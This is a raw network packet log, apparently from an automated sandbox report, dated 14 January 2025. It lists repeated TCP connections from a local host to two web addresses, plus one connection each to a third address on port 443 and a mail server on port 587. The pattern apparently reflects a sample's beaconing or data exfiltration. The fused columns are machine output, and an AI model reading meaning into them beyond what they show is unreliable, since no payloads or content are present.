                                                                                                                                                        Jan 14, 2025 08:08:32.442011118 CET52750443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:32.485138893 CET5274980192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:32.485938072 CET5275180192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:32.490313053 CET8052749132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:32.490380049 CET5274980192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:32.490725040 CET8052751132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:32.490813017 CET5275180192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:32.490906000 CET5275180192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:32.495728970 CET8052751132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:33.319438934 CET8052751132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:33.321527958 CET5274280192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:33.322027922 CET52752443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:33.322077990 CET44352752104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:33.322149992 CET52752443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:33.322479010 CET52752443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:33.322493076 CET44352752104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:33.361757994 CET5275180192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:33.557794094 CET5275380192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:33.562695980 CET8052753132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:33.562778950 CET5275380192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:33.563077927 CET5275380192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:33.567944050 CET8052753132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:33.800484896 CET44352752104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:33.802345991 CET52752443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:33.802370071 CET44352752104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:33.939326048 CET44352752104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:33.939383984 CET44352752104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:33.939630985 CET52752443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:33.939898014 CET52752443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:33.951427937 CET5275180192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:33.952059031 CET5275480192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:33.956496954 CET8052751132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:33.956944942 CET8052754132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:33.957035065 CET5275480192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:33.957109928 CET5275180192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:33.957174063 CET5275480192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:33.961956978 CET8052754132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:34.378317118 CET8052753132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:34.382025003 CET5275380192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:34.386930943 CET8052753132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:34.666214943 CET8052753132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:34.729830980 CET5275380192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:34.780626059 CET8052754132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:34.782191038 CET52755443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:34.782285929 CET44352755104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:34.782396078 CET52755443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:34.782902956 CET52755443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:34.782943010 CET44352755104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:34.822833061 CET5275480192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:35.056874990 CET52756443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:35.056972027 CET44352756104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:35.057099104 CET52756443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:35.069678068 CET52756443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:35.069761992 CET44352756104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:35.274787903 CET44352755104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:35.276427031 CET52755443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:35.276515007 CET44352755104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:35.391587019 CET44352755104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:35.391671896 CET44352755104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:35.391796112 CET52755443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:35.392467022 CET52755443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:35.395297050 CET5275480192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:35.395972967 CET5275780192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:35.400407076 CET8052754132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:35.400823116 CET8052757132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:35.400965929 CET5275480192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:35.401004076 CET5275780192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:35.401293039 CET5275780192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:35.407064915 CET8052757132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:35.532980919 CET44352756104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:35.533212900 CET52756443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:35.535597086 CET52756443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:35.535653114 CET44352756104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:35.536066055 CET44352756104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:35.588584900 CET52756443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:35.592226028 CET52756443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:35.639343977 CET44352756104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:35.696574926 CET44352756104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:35.696629047 CET44352756104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:35.696837902 CET52756443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:35.713738918 CET52756443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:35.722327948 CET5275380192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:35.727355957 CET8052753132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:36.007688999 CET8052753132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:36.058487892 CET5275380192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:36.169102907 CET52758443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:36.169198990 CET44352758104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:36.169315100 CET52758443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:36.173156023 CET52758443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:36.173197031 CET44352758104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:36.226084948 CET8052757132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:36.228634119 CET52759443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:36.228666067 CET44352759104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:36.228734970 CET52759443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:36.229008913 CET52759443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:36.229022980 CET44352759104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:36.275952101 CET5275780192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:36.624798059 CET44352758104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:36.626939058 CET52758443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:36.627022028 CET44352758104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:36.691473961 CET44352759104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:36.693064928 CET52759443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:36.693083048 CET44352759104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:36.746805906 CET44352758104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:36.746898890 CET44352758104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:36.747077942 CET52758443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:36.747500896 CET52758443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:36.756715059 CET5275380192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:36.757699966 CET5276080192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:36.761720896 CET8052753132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:36.761816978 CET5275380192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:36.762501001 CET8052760132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:36.762631893 CET5276080192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:36.762757063 CET5276080192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:36.767556906 CET8052760132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:36.820409060 CET44352759104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:36.820461035 CET44352759104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:36.820617914 CET52759443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:36.821119070 CET52759443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:36.866688013 CET5275780192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:36.871787071 CET8052757132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:36.871846914 CET5275780192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:36.875938892 CET52761443192.168.2.4149.154.167.220
                                                                                                                                                        Jan 14, 2025 08:08:36.876018047 CET44352761149.154.167.220192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:36.876100063 CET52761443192.168.2.4149.154.167.220
                                                                                                                                                        Jan 14, 2025 08:08:36.876625061 CET52761443192.168.2.4149.154.167.220
                                                                                                                                                        Jan 14, 2025 08:08:36.876657963 CET44352761149.154.167.220192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:37.508898020 CET44352761149.154.167.220192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:37.508977890 CET52761443192.168.2.4149.154.167.220
                                                                                                                                                        Jan 14, 2025 08:08:37.511013031 CET52761443192.168.2.4149.154.167.220
                                                                                                                                                        Jan 14, 2025 08:08:37.511027098 CET44352761149.154.167.220192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:37.511523008 CET44352761149.154.167.220192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:37.512837887 CET52761443192.168.2.4149.154.167.220
                                                                                                                                                        Jan 14, 2025 08:08:37.559328079 CET44352761149.154.167.220192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:37.578485012 CET8052760132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:37.579756975 CET52762443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:37.579848051 CET44352762104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:37.579942942 CET52762443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:37.580168009 CET52762443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:37.580204010 CET44352762104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:37.619699001 CET5276080192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:37.752429008 CET44352761149.154.167.220192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:37.752787113 CET44352761149.154.167.220192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:37.752866030 CET52761443192.168.2.4149.154.167.220
                                                                                                                                                        Jan 14, 2025 08:08:37.762572050 CET52761443192.168.2.4149.154.167.220
                                                                                                                                                        Jan 14, 2025 08:08:38.044575930 CET44352762104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:38.046364069 CET52762443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:38.046443939 CET44352762104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:38.196343899 CET44352762104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:38.196408987 CET44352762104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:38.196537971 CET52762443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:38.197124958 CET52762443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:38.201421022 CET5276080192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:38.202899933 CET5276380192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:38.206372023 CET8052760132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:38.206443071 CET5276080192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:38.207765102 CET8052763132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:38.207853079 CET5276380192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:38.207943916 CET5276380192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:38.212727070 CET8052763132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:39.049273968 CET8052763132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:39.050677061 CET52764443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:39.050729990 CET44352764104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:39.050801992 CET52764443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:39.051100969 CET52764443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:39.051141977 CET44352764104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:39.103478909 CET5276380192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:39.543098927 CET44352764104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:39.545433044 CET52764443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:39.545521021 CET44352764104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:39.811290979 CET44352764104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:39.811388969 CET44352764104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:39.811671972 CET52764443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:39.812182903 CET52764443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:39.850110054 CET5276580192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:39.855029106 CET8052765132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:39.857719898 CET5276580192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:39.857902050 CET5276580192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:39.862714052 CET8052765132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:40.663194895 CET8052765132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:40.711399078 CET5276580192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:40.720680952 CET5276380192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:40.724807978 CET52766443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:40.724898100 CET44352766104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:40.724978924 CET52766443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:40.899805069 CET52766443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:40.899909019 CET44352766104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:41.396060944 CET44352766104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:41.401386023 CET52766443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:41.401464939 CET44352766104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:41.587892056 CET44352766104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:41.588006973 CET44352766104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:41.588160992 CET52766443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:41.588938951 CET52766443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:41.658973932 CET5276580192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:41.664175034 CET8052765132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:41.664181948 CET5276780192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:41.664297104 CET5276580192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:41.669101954 CET8052767132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:41.669231892 CET5276780192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:41.669322968 CET5276780192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:41.674118042 CET8052767132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:42.559937954 CET5276880192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:42.565304041 CET8052768132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:42.565419912 CET5276880192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:42.565793991 CET5276880192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:42.570559978 CET8052768132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:42.570863008 CET8052767132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:42.594492912 CET52769443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:42.594584942 CET44352769104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:42.594664097 CET52769443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:42.595287085 CET52769443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:42.595347881 CET44352769104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:42.646307945 CET5276780192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:43.067559958 CET44352769104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:43.069169998 CET52769443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:43.069257021 CET44352769104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:43.220443010 CET44352769104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:43.220629930 CET44352769104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:43.220804930 CET52769443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:43.236083984 CET52769443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:43.370146036 CET5276780192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:43.370749950 CET5277080192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:43.375511885 CET8052767132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:43.375613928 CET8052770132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:43.375704050 CET5277080192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:43.375766993 CET5276780192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:43.375812054 CET5277080192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:43.380552053 CET8052770132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:43.489461899 CET8052768132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:43.494108915 CET5276880192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:43.499339104 CET8052768132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:43.837888956 CET8052768132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:43.943209887 CET5276880192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:44.352437973 CET52771443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:44.352544069 CET44352771104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:44.352646112 CET52771443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:44.360202074 CET8052770132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:44.362351894 CET52772443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:44.362396002 CET44352772104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:44.362462044 CET52772443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:44.362807989 CET52772443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:44.362823963 CET44352772104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:44.372764111 CET52771443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:44.372843027 CET44352771104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:44.411923885 CET5277080192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:44.911746979 CET44352772104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:44.913292885 CET52772443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:44.913343906 CET44352772104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:44.923437119 CET44352771104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:44.923630953 CET52771443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:44.925183058 CET52771443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:44.925237894 CET44352771104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:44.925837040 CET44352771104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:44.974553108 CET52771443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:44.989553928 CET52771443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:45.031330109 CET44352771104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:45.057372093 CET44352772104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:45.057427883 CET44352772104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:45.057615042 CET52772443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:45.057883978 CET52772443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:45.060715914 CET5277080192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:45.061795950 CET5277380192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:45.065958977 CET8052770132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:45.066023111 CET5277080192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:45.066962004 CET8052773132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:45.067066908 CET5277380192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:45.067121983 CET5277380192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:45.072295904 CET8052773132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:45.100018978 CET44352771104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:45.100215912 CET44352771104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:45.100435972 CET52771443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:45.104321957 CET52771443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:45.115837097 CET52774587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:08:45.116780043 CET5276880192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:45.120667934 CET5875277446.151.208.21192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:45.120726109 CET52774587192.168.2.446.151.208.21
                                                                                                                                                        Jan 14, 2025 08:08:45.121655941 CET8052768132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:45.444053888 CET8052768132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:45.446537018 CET52775443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:45.446592093 CET44352775104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:45.447182894 CET52775443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:45.447182894 CET52775443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:45.447235107 CET44352775104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:45.484580994 CET5276880192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:45.897196054 CET8052773132.226.8.169192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:45.898459911 CET52776443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:45.898518085 CET44352776104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:45.898644924 CET52776443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:45.899000883 CET52776443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:45.899039030 CET44352776104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:45.935838938 CET44352775104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:45.937330961 CET52775443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:45.937350035 CET44352775104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:45.943197966 CET5277380192.168.2.4132.226.8.169
                                                                                                                                                        Jan 14, 2025 08:08:46.083960056 CET44352775104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:46.084132910 CET44352775104.21.16.1192.168.2.4
                                                                                                                                                        Jan 14, 2025 08:08:46.084301949 CET52775443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:46.084574938 CET52775443192.168.2.4104.21.16.1
                                                                                                                                                        Jan 14, 2025 08:08:46.088144064 CET5276880192.168.2.4132.226.8.169
